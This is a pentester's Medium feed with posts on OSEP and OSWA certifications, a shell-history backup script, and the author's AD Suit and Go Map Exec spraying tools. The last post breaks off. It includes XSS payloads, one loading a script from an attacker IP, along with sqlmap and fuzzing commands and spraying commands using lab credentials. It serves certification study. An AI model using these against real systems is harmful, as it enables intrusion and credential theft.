<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tonee Marqus on Medium]]></title>
        <description><![CDATA[Stories by Tonee Marqus on Medium]]></description>
        <link>https://medium.com/@toneemarqus?source=rss-6af85b26a57b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uFfV9W6ST3vFAubGMvyVlQ.jpeg</url>
            <title>Stories by Tonee Marqus on Medium</title>
            <link>https://medium.com/@toneemarqus?source=rss-6af85b26a57b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 22:40:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@toneemarqus/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Review on OSEP (2025)]]></title>
            <link>https://medium.com/@toneemarqus/my-review-on-osep-2025-abea5413ca7f?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/abea5413ca7f</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[osep]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Mon, 13 Jan 2025 22:22:16 GMT</pubDate>
            <atom:updated>2025-01-13T22:22:16.213Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*vdPbDVGWe9P7ikJPmCNn0A.png" /></figure><h3>Hey all :)</h3><p>If you’re reading this, you’re probably looking to take the OSEP certification. I won’t get into the course details since they’re already in the OffSec documentation, but here’s the quick rundown:</p><p>OSEP is the advanced level of OSCP. It’s mainly about AV bypass, Active Directory SQL attacks, shellcode runners, Kerberos attacks and more. There are 7 challenges at the end of the course to prepare for the exam. You don’t really need any preps besides OSCP, though some people say CRTO certificate is good preparation. The exam is 48 hours plus 24 hours for report writing.</p><h3>Exam Experience<br> — — — — — — -</h3><p>I can’t get into exam details because of the NDA, but I felt some stages were designed to make us fail on purpose, which isn’t really fair in my opinion.</p><p>My key advice is to enumerate as much as you can, try all possible stuff from the course material, and most importantly — always check the basic scenarios first before going down rabbit holes!</p><h3>Tools and Tips<br> — — — — — — — — — — — — — — — —</h3><p>1. During the course you’ll need to combine codes from the slides which is honestly a pain. Lucky for us, someone made a GitHub repo with all the code combined and working:<br><a href="https://github.com/chvancooten/OSEP-Code-Snippets/tree/main">chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security’s PEN-300 (OSEP) course.</a></p><p>2. You’ll collect tons of tools and binaries during the course — here’s my way of keeping them safe in case my Kali fails and needed a re-install:<br>I created a GitHub repo + Linux cronjob setup using Kali’s built-in Apache server on port 80 (/var/www/html path). Any time I modify or create a file, it auto-pushes to GitHub every minute. Bonus: using port 80 lets you bypass most network filters and firewalls! Check out my code here: <a href="https://github.com/toneemarqus/OSEP-AutoPush">toneemarqus/OSEP-AutoPush</a></p><p>3. DO ALL THE EXTRA MILES!</p><p>4. Never give up — even if you’ve only got an hour left in the exam.</p><p>5. If something feels off with the exam machines, just revert them (you get 50 reverts).</p><p>6. Use the OffSec Discord server — there are other students and mentors there. The community isn’t super active, but you’ll still get help when needed!</p><p>7. Pro tip: If your machine can handle it, install Windows 10 on VMware instead of using their DEV machine. Way better than losing your code after each exercise, plus you won’t have to keep reinstalling MS Word for those Word attack exercises!</p><p>8. NetExec is your best friend for host discovery and password spraying.</p><p>9. I stuck with Meterpreter for my C2 during the course and the exam. Some folks prefer Sliver or Mythic — use what works for you.</p><p>10. Always run BloodHound once you get domain user access.</p><p>11. Remember you don’t always need a reverse shell — if you get command execution, try changing the administrator password and logging in with psexec.</p><p>12. ADPeas is awesome for domain enumeration.</p><p>13. Found an ACL but don’t know how to exploit it? Check out: <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces</a></p><p>14. Other gold mines I used:</p><ul><li><a href="https://github.com/In3x0rabl3/OSEP/blob/main/osep_checklistv2.md">OSEP/osep_checklistv2.md at main · In3x0rabl3/OSEP</a></li><li><a href="https://github.com/hackinaggie/OSEP-Tools-v2">hackinaggie/OSEP-Tools-v2: A marriage between Octoberfest7/OSEP-Tools and chvancooten/OSEP-Code-Snippets with some improvements/additions</a></li><li><a href="https://github.com/Ross46/OSEP-PREP/blob/main/Useful%20Resources/Links.md">OSEP-PREP/Useful Resources/Links.md at main · Ross46/OSEP-PREP</a></li><li><a href="https://github.com/cinzinga/Evasion-Practice/tree/main">cinzinga/Evasion-Practice: A variety of AV evasion techniques written in C# for practice.</a></li></ul><h3>Final Words<br> — — — — —</h3><p>If you’ve done OSCP but still struggle with internal pentest stuff, OSEP will make things click — especially working with big networks, multiple domains, linked MSSQL servers, and AV evasion.</p><p>OSEP isn’t super advanced — I’d say it’s somewhere between medium and advanced level. You can definitely pass it!</p><p>Hit me up on LinkedIn if you’ve got questions about OSEP:<br><a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/">Tonee Marqus | LinkedIn</a></p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abea5413ca7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSWA Notes and Tips]]></title>
            <link>https://medium.com/@toneemarqus/oswa-notes-and-tips-b08037039581?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b08037039581</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oswa]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Sun, 28 Apr 2024 08:58:23 GMT</pubDate>
            <atom:updated>2024-04-28T09:05:34.515Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/438/0*mXu6b9gwWYWrop7d.png" /></figure><h4>Hi All :)</h4><p>I have some notes and tips for OSWA that I think might help you with the OSWA certificate.</p><p>Let&#39;s start directly:</p><h3>Notes</h3><ol><li>Fuzzing directories: I only used two list for fuzzing directories and where enough for me during the course, the tool I used was WFUZZ:</li></ol><pre>wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt --hc 301,404,403 http://&lt;URL&gt;</pre><pre>wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 301,404,403 http://&lt;URL&gt;</pre><p>2. XSS: I used three payloads for initial testing:</p><pre>&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</pre><pre>&lt;img src=x onerror=alert(&#39;XSS&#39;);&gt;</pre><p>To test for Blind XSS start python http server and use this payload:</p><pre><br>&lt;script src=&quot;http://&lt;YOURIP&gt;/test.js&quot;&gt;&lt;/script&gt;</pre><p>3. SQLMAP: I used this simple command to test using SQLMAP, paste inside the test.raw the request that contains the parameters you need to test:</p><pre>sqlmap -r test.raw --dump</pre><h3>Tips</h3><ol><li><strong>Think on what can be used for the first flag and what can be used for second flag, for example:</strong></li></ol><p><em>First flag:</em></p><ol><li>SQLi to find admin password.</li><li>Directory traversal.</li><li>Creating wordlist and spraying it on users.</li><li>SSRF if you have URL text field to create admin account.</li><li>XSS Cookie still then login as admin.</li><li>Fuzzing files to find creds.</li></ol><p><em>Second flag:</em></p><ol><li>SSTI.</li><li>XXE to read proof.txt.</li><li>SQLi with file upload and execute.</li><li>Command Injection.</li><li>LFI to read id_rsa and have ssh shell (don’t forget to chmod 600).</li></ol><p>2. <strong>Always build scenarios in your mind, think about how to connect first vulnerability to the second vulnerability.</strong></p><p>3. <strong>You might sometimes need to do extra research on google to find a way in.</strong></p><p>4. <strong>Read hints given in the machine and think how I can use them.</strong></p><p>5. <strong>Check all request with Burp Suit, and test for SQLi using SQLMAP everywhere you think the parameters are connected to database, for example in the Register and Login pages.</strong></p><p>6. <strong>Always have your python http server running and send the third XSS payload mentioned above to test for users in the other side.</strong></p><p><em>For example, if you have a feedback form or contact us form, put the payload in all possible fields and wait for a response in your python http server.</em></p><p>7. <strong>You don’t always need to have a reverse shell for the second flag, if you can see the flag using a Burp Suit request, that is enough, take a screenshot showing the flag and the IP address of the machine.</strong></p><p>That’s all, I will do my best updating this blog whenever I remember something else.</p><p>Don’t hesitate to contact me over <a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/">LinkedIn</a> or Discord: Tonee:9123.</p><p>! HAPPY HACKING !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b08037039581" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My 3-week Journey to OSWA]]></title>
            <link>https://medium.com/@toneemarqus/my-3-week-journey-to-oswa-bc4b8f60001e?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc4b8f60001e</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oswa]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Tue, 02 Apr 2024 12:57:26 GMT</pubDate>
            <atom:updated>2024-04-02T13:07:50.482Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hey! :)</h3><p>Here we go again, I just received the OSWA passing email from Offsec! It took me around 21 days to clear the certificate.</p><p><strong>Started</strong>: 04/03/2024</p><p><strong>EXAM</strong>: 26/03/2024</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*oDGVCEZAYak6BtFxrqZW-Q.png" /><figcaption>OSWA</figcaption></figure><p>Here is the passing email :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*5h-MYAGwbBuCgsB5s68rag.png" /><figcaption>OSWA Passing Email</figcaption></figure><h3>My background</h3><p>Before starting OSWA, I had OSCP, which I did in November 2023, around 4 months professional penetration testing experience, and around 2 years doing CTFs.</p><h3>Just before OSWA</h3><p>Before starting OSWA I did one single course to refresh my web pentesting skills, it called “Practical Web Application Security and Testing” from TCM Security.</p><p><em>I think TCM security removed the course now and added it to their “Practical Junior Web Tester” certificate. I tried to find the link but couldn’t.</em></p><h3>OSWA course pros and cons</h3><p><strong>Pros:</strong></p><ul><li>Well structured and clear walkthrough videos.</li><li>Exercises and Labs to support the learning journey.</li><li>Good repetition in the industry.</li></ul><p><strong>Cons:</strong></p><ul><li>Not in depth knowledge.</li><li>Contains some unrealistic scenarios.</li><li>Dead discord community, even with having mentors, it usually takes average of 4 house to get help.</li><li>Course is over priced.</li><li>Wasting student time with long text that contains nothing important in the labs.</li><li>Some of lab machines doesn’t function properly.</li></ul><h3>The Exam</h3><p>Started my exam at 3PM and finished 2PM next day, took some breaks for 15 to 30 minutes, and slept from 3AM to 6AM.</p><p>Solved 3 full machines (60 points) before going to sleep, from 6AM to 8:30 AM I got my final passing score (70), and my exam ended with total of 70 points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/0*GXosFmjRbynarJR-.gif" /><figcaption>HAPPY | HAPPY | HAPPY</figcaption></figure><h3>Final word</h3><p>If you are in a position to take decision to take or not to take OSWA, I believe you have two choices:</p><ol><li>If you are lookin for good a repetition web pentesting certificate with good material to start your web pentesting go with OSWA.</li><li>If you are looking for knowledge only, consider cheaper certificates, because i didn’t see anything taught in OSWA which doesn’t exist in other certifications. Maybe only the labs make difference.</li></ol><p>Wish you all the best of luck :D</p><p>Feel free to reach out to me on LinkedIn: <a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/"><em>Link</em></a></p><p>Good luck, and happy hacking! 🙂</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc4b8f60001e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Keep Your Kali Commands Forever: Storing Bash History on GitHub]]></title>
            <link>https://medium.com/@toneemarqus/keep-your-kali-commands-forever-storing-bash-history-on-github-40eb1ef8422b?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/40eb1ef8422b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ceh-training]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Sat, 24 Feb 2024 08:49:55 GMT</pubDate>
            <atom:updated>2024-03-28T00:28:20.108Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey All :)</p><p>I got some time today, and I thought to share a new blog here on Medium!</p><p>My today’s blog is about a technique I use in my daily life as a penetration tester, I think we all agree that losing Kali Linux Bash history is annoying after having setting up a fresh Kali VM machine.</p><p>I’m someone who likes pressing “Tab” button while writing a command in Kali terminal instead of going to my notes and find it, if you have the same habit, you’re in the right place :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nh9AaFD9qLKIIV7s" /><figcaption>icon image</figcaption></figure><h3>Diagram</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*ykb2NUe95UkPNPA_nqwbcA.png" /><figcaption>How it works Diagram</figcaption></figure><p>From above diagram, I thinks is easy to understand the prosses, and more simpler : We will use Bash script that will looks if there is new commands and upload them to GitHub private repository, if no changes, nothing we happen.</p><h3>Step #1</h3><p>Create a GitHub account and a new private repository, here is mine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*XnnSttR4rRyytLQbL1Mmvg.png" /><figcaption>GitHub repo</figcaption></figure><h3>Step #2</h3><p>Start your Kali machine, generate SSH key and copy it to your GitHub</p><p>The command to generate SSH key with your GitHub email:</p><pre>ssh-keygen -t ed25519 -C &quot;your_email@example.com&quot;</pre><p>After entering the email and executing the command, keep pressing the Enter key without entering any additional details.</p><p><em>Screenshot</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*iQbMMUxDLHEPxbbx7-iLtw.png" /></figure><p>Now copy the key, to show it use:</p><pre>cat /root/.ssh/id_ed25519.pub</pre><p>Paste it in your GitHub account SSH keys, here is how:</p><ol><li>From your account choose settings.</li><li>Select “SSH and GPG keys” from the left panel.</li><li>Click New SSH Key.</li><li>Enter your Title and paste the SSH public key.</li></ol><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EA-LLGHZyXFdLYyWQSZo5Q.png" /></figure><p>why we did this?</p><p>With that, our kali will auto authenticate to GitHub without using username and password.</p><h3>Step #3</h3><p>Change directory to your user home directory, for me I use ROOT.</p><pre>cd ~</pre><p>Clone your new private repository that you create on step 1 using SSH:</p><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*xOsZ-kAA15mNHoV071XugQ.png" /></figure><pre>git clone &quot;the SSH repo link&quot;</pre><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*ky2uYCDep6x3VEDhB1N4FQ.png" /></figure><h3>Step #4</h3><p>Now we will put our uploading script inside the cloned repository, the script (generated by ChatGPT).</p><p>First we will nano to our new script:</p><pre>cd Kali-History</pre><pre>nano update_history.sh</pre><p>Paste the script inside:</p><pre>#!/bin/bash<br><br># Enable debug mode<br>set -x<br><br># Navigate to the repository (change it depending on your repository name)<br>cd /root/Kali-History<br><br># Check if the .zsh_history file exists and copy it to the repository<br>if [ -f &quot;/root/.zsh_history&quot; ]; then<br>    cp /root/.zsh_history ./command_history.txt<br>else<br>    echo &quot;/root/.zsh_history does not exist.&quot;<br>    exit 1<br>fi<br><br># Add changes to git<br>git add command_history.txt<br><br># Commit changes<br>git commit -m &quot;Update command history&quot;<br><br># Push changes to GitHub<br>git push origin main</pre><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*BAb9IMNeGe88Q8yOA4LPtQ.png" /></figure><p>Save the above.</p><h3>Step #5</h3><p>Now we will add new crontab to our kali machine that will be responsible to run the script every one minute:</p><pre>crontab -e</pre><p>Select nano (1) and paste this new task:</p><pre>*/1 * * * * /root/Kali-History/update_history.sh</pre><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*zTj0FPUOiz8VD3oNUwBetQ.png" /></figure><p>Save and exit.</p><h3>Step #6</h3><p>Now everything is ready, one final step is to add your email and username that Git will use when pushing new commits to the repository, along with giving permission to the new script to execute. To do that, use the commands below:</p><pre>chmod +x update_history.sh</pre><pre>git config --global user.email &quot;you@example.com&quot;</pre><pre>git config --global user.name &quot;Your Name&quot;</pre><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*3MEpPqycs7j7QC9cLr6IhQ.png" /></figure><p>That&#39;s it! everything is ready.</p><h3>Final test</h3><p>To test if your setup is working, you need to exit the terminal, so kali will save your command history, wait 1 minute and check your repository :)</p><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*KayqcSV3IUJ4uLwlqA8OWg.png" /></figure><p><em>Screenshot:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*5JRTLt161XumH3DjP-NfpA.png" /></figure><h3>Notes</h3><ol><li>This setup might be confusing for the first time, but when you have it ready and working, you can forget about it and keep it working in the background.</li><li>Each time you finish with you Kali and before shutting it down, close terminal and wait for 1 minute to upload the history.</li><li>Copy the updatescript.sh to your private repository to be easy accessible for use in case you change your Kali machine.</li><li>When you have fresh Kali machine, copy the history from your GitHub to /root/.zsh_history so you recover all your commands.</li><li>Make sure you do step 4 before running the upload script, otherwise you might lose all your commands again.</li><li>I use ROOT user in my daily Kali use, if you use another user like “kali” make sure you modify the script.</li><li>If you have any issues with Git pushing mechanism in the future, remove the repository and re clone it in the same location.</li></ol><h3>Final Words</h3><p>That’s it :) I hope you find this method helpful. If you have a better way to do this, please share it in the comments.</p><p>You can always reach me on <a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/"><em>LinkedIn</em></a>.</p><p>! Happy Hacking !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40eb1ef8422b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crack OSCP Active Directory With AD Suit]]></title>
            <link>https://medium.com/@toneemarqus/crack-oscp-active-directory-with-ad-suit-f97faeef981a?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f97faeef981a</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Thu, 11 Jan 2024 04:48:21 GMT</pubDate>
            <atom:updated>2024-02-16T00:34:58.007Z</atom:updated>
            <content:encoded><![CDATA[<h3>From Enumeration to Attack: Navigating Active Directory with ADSuit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*BIA3upcCrv8dDGQt-_v1rg@2x.jpeg" /><figcaption>AD Suit</figcaption></figure><h3>Introduction</h3><p>Hey folks! I’ve got a new tool that’s perfect for Active Directory penetration testing. It simplifies the management of usernames, passwords, hashes, and domains. With it, you can easily spray passwords, initiate sessions using tools like ‘PSexec’ and ‘WinRM,’ and pivot to different networks with just a reverse shell.</p><p>In addition, the ‘Attacks’ tab offers common enumeration and attacking techniques at your fingertips. It’s all about streamlining your Active Directory testing. Give it a try!”</p><p>Tool Repository : <a href="https://github.com/toneemarqus/AD-Suit"><em>link</em></a></p><p><strong>Disclaimer: </strong>PLEASE don’t use the tool in the OSCP exam unless you asked offsec for permission via challenges@offsec.com.</p><h3>Overview</h3><p>ADSuit is a powerful and user-friendly penetration testing suite that caters to the unique needs of professionals in the realm of cybersecurity. It equips them with a diverse set of tools and functionalities, making it easier than ever to identify vulnerabilities, audit AD setups, and simulate attack scenarios.</p><h3>Key Features</h3><ol><li><strong>Intuitive GUI</strong>: ADSuit boasts a user-friendly graphical interface that simplifies navigation and usability.</li><li><strong>Efficient Management</strong>: Manage hosts, domains, IPs, and credentials effortlessly within the suite.</li><li><strong>Quick Session Initiation</strong>: Start sessions with just one click using WinRM or PSexec.</li><li><strong>Credential Spraying</strong>: Execute username and password spraying with the help of CrackMapExec and GoMapExec.</li><li><strong>Seamless Network Pivoting</strong>: Easily pivot from one network to another with the convenience of a reverse shell.</li><li><strong>Automated Enumeration</strong>: Streamline the enumeration process and launch AD attacks with ease.</li></ol><h3>Installation</h3><p>Installing ADSuit is a breeze. It currently supports the latest version of Kali Linux. Simply follow these steps:</p><ol><li>Download the adsuit-1.0.deb package <a href="https://github.com/toneemarqus/AD-Suit/blob/main/adsuit-1.0.deb"><em>link</em></a>.</li><li>Install the package using sudo dpkg -i adsuit-1.0.deb.</li><li>Ensure you have the required seclists package installed with sudo apt install seclists.</li></ol><h3>Usage</h3><p>Once installed, launching ADSuit is as simple as running the following command(always use sudo):</p><pre>sudo adsuit</pre><h3><strong>Step-By-Step Guide</strong></h3><p>The following is just demonstrating main futures, full step by step demo can be found in the tool repo <a href="https://github.com/toneemarqus/AD-Suit"><em>here</em></a>.</p><h4>Hosts Tab</h4><p>In this section, input the IP addresses you intend to test along with their associated domains. Both fields support automatic saving upon changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ivzGurtmWWalUCAx" /></figure><h4>User Management Tab</h4><p>Manage discovered usernames, passwords, and hashes — crucial details that will be used in subsequent tabs. The fields support automatic saving upon changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iUry-n-Enn7HvRb7" /></figure><h4>Sessions Tab</h4><p>Initiate sessions using previously entered credentials from the User Management tab. Clicking “connect” opens a new terminal with the session in progress. It supports up to three simultaneous sessions, offering flexibility with password or hash-based logins.</p><p><strong>Example</strong>: Initiating a session for the “svc-alfresco” user with the password “s3rvice” via WinRM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BzVk9aOJCAVr0DKF" /></figure><h4>Spraying Tab</h4><p>This section employs two powerful tools for spraying usernames, passwords, and hashes against single or multiple IPs.</p><p><strong>Example</strong>: Spraying usernames against passwords using CrackMapExec on multiple IPs with the SMB protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qaIC5HR8yW7go9Qj" /></figure><h4>Pivoting Tab</h4><p>The Pivoting Tab is a <strong>game-changer</strong>, allowing you to pivot from one network to another via a reverse shell. Leveraging Ligolo-ng, it sets up an internal proxy, configures it, and uploads an agent to the host the reverse shell originates from. This process is automated, simplifying network access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KPxnmIaERZJ_ICrG" /></figure><p>Hers is how the ad suit terminal looks like after initiating the tunnel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*xqefZMw4uYTN673s" /></figure><h4>Attacks Tab</h4><p>In this tab, you can employ enumeration and attack tools effectively.</p><p><strong>Example</strong>: Enumerating users with GetNPUser on the “Forest Machine” from Hack The Box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jqliKgwVAgEvMfEE" /></figure><h4><strong>Conclusion</strong></h4><p>ADSuit is your trusted companion in the world of Active Directory penetration testing. With its intuitive interface and powerful features, you’ll be well-equipped to identify vulnerabilities, enhance security, and stay ahead of potential threats in AD environments.</p><p>Have something to say? reach me on <a href="https://www.linkedin.com/in/tonee-marqus-1002251b7/"><em>LinkedIn</em></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f97faeef981a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Go Map Exec — Your Ultimate Credentials Spraying Tool]]></title>
            <link>https://medium.com/@toneemarqus/go-map-exec-your-ultimate-credentials-spraying-tool-d4a6bfa49bae?source=rss-6af85b26a57b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4a6bfa49bae</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[netwrok-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Tonee Marqus]]></dc:creator>
            <pubDate>Thu, 21 Dec 2023 05:56:50 GMT</pubDate>
            <atom:updated>2023-12-23T05:25:42.613Z</atom:updated>
            <content:encoded><![CDATA[<h3>Go Map Exec — Your Ultimate Credentials Spraying Tool</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*XrQaSwEPutHNekRFPjHXKg@2x.jpeg" /></figure><h3>Content:</h3><ul><li>Introduction</li><li>Why new password spraying tool?</li><li>-h of the tool</li><li>Prerequisites</li><li>How to Install</li><li>Demo On Hack The Box Machines</li><li>Conclusion</li></ul><h4>Introduction</h4><p>In the dynamic world of network security, precision and efficiency are paramount. That’s why I’m excited to introduce my new tool “<strong>Go Map Exec</strong>”, a tool I developed for effective credential spraying across various network protocols. Available on my <a href="https://github.com/toneemarqus/Go_Map_Exec"><em>GitHub repository</em></a>.</p><p>This tool specializes in testing network defenses by spraying usernames and passwords across <strong>RDP</strong>, <strong>SMB</strong>, <strong>SSH</strong>, and <strong>WinRM</strong> protocols. Aiming to provide a user-friendly, yet powerful way to assess and strengthen network security. In this blog, we’ll dive into how Go Map Exec can be a critical asset in your security toolkit, offering insights into its functionality and applications.</p><p>The tool is built with 95% Golang and 5% Python code, around 550 line of code.</p><h3>Why new password spraying tool?</h3><p>While there is other tools that does the same job like Crack Map Exec and Netexec, which been around for a while, but they also have their limitations that i tried to address in my tool, here is the most importint ones:</p><h4>1. Simultaneous Protocol Scanning:</h4><p><strong>CrackMapExec</strong>: Does not scan all relevant protocols simultaneously.</p><p><strong>Go Map Exec</strong>: Tests each host for open ports related to SMB, RDP, SSH, and WinRm protocols, enhancing efficiency and making sure that you didn’t miss a hit.</p><h4>2. Ease of Stopping and Restarting:</h4><p><strong>CrackMapExec</strong>: Difficult to restart after stopping with Ctrl + C prone to errors due to its multi-process structure.</p><p><strong>Go Map Exec</strong>: Single-process design allows for easy stopping and restarting without issues.</p><h4>3. Accuracy of Results:</h4><p><strong>CrackMapExec</strong>: Sometimes fails to deliver accurate results, potentially missing valid credentials.</p><p><strong>Go Map Exec</strong>: Provides more reliable and accurate outcomes, ensuring better discovery of working credentials.</p><h4>4. RDP Testing Reliability:</h4><p><strong>CrackMapExec</strong>: Often fails in testing RDP effectively.</p><p><strong>Go Map Exec</strong>: Uses XfreeRDP internally for RDP testing, offering increased reliability.</p><h3>-h</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*56n9m-pW8HR_X5Ct" /></figure><h3>Prerequisites:</h3><p>While the tool is ready for download and use, it’s worth mentioning that Go Map Exec leverages other tools and utilities such as SmbMap, Evil-WinRM, and Xfreerdp. Moreover, Python 3, is also utilized for certain functionalities, and all these tools and utilities are pre-installed in Kali Linux.</p><h3>How to Install</h3><p><strong>Method #1</strong></p><p>Download the precompiled binary and start using it immediately by following this <a href="https://github.com/toneemarqus/Go_Map_Exec/blob/main/go_map_exec"><em>link</em></a><em>.</em></p><p><strong>Method #2</strong></p><p>In case you are in different operating system or you are facing errors, you can download the source code and compile it locally, here are the steps:</p><ol><li>Clone the repository:</li></ol><pre>git clone https://github.com/toneemarqus/Go_Map_Exec.git</pre><p>2. Change Directory</p><pre>cd Go_Map_Exec/</pre><p>3. Install golang:</p><pre>apt install golang-go</pre><p>4. Build the tool:</p><pre>go build go_map_exec.go</pre><p>After this steps the binary will be compiled and ready to be used.</p><h3>Demo On Hack The Box Machines</h3><p><strong>Sauna Machine HTB</strong></p><p>In the following command all four protocols were tested, and two of them responded for the correct credentials:</p><pre>./go_map_exec -u fsmith -p Thestrokes23  10.10.11.227</pre><p>Screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*FXaLs5b75ggESWy1-c_F8A.png" /><figcaption>SMB and Winrm Access</figcaption></figure><p><strong>Active Machine HTB</strong></p><p>In the following command the Administrator had full access to SMB, which will lead to having a shell using impacket-psexec tool! :</p><pre>./go_map_exec -u administrator -p Ticketmaster1968 10.10.10.100</pre><p>Screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*1L0gjVcbLlctqxyiuRM6AA.png" /><figcaption>SMB with Read and Write Access</figcaption></figure><p><strong>keeper Machine HTB</strong></p><p>In the following command only SSH and SMB protocols were Tested:</p><pre>./go_map_exec -pr &#39;ssh smb&#39; -u lnorgaard -p Welcome2023! 10.10.11.227</pre><p>Screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*SEm_eqMuWMwfb4NTRFrN1w.png" /><figcaption>Only SMB and SSH Tested</figcaption></figure><p><strong>keeper Machine 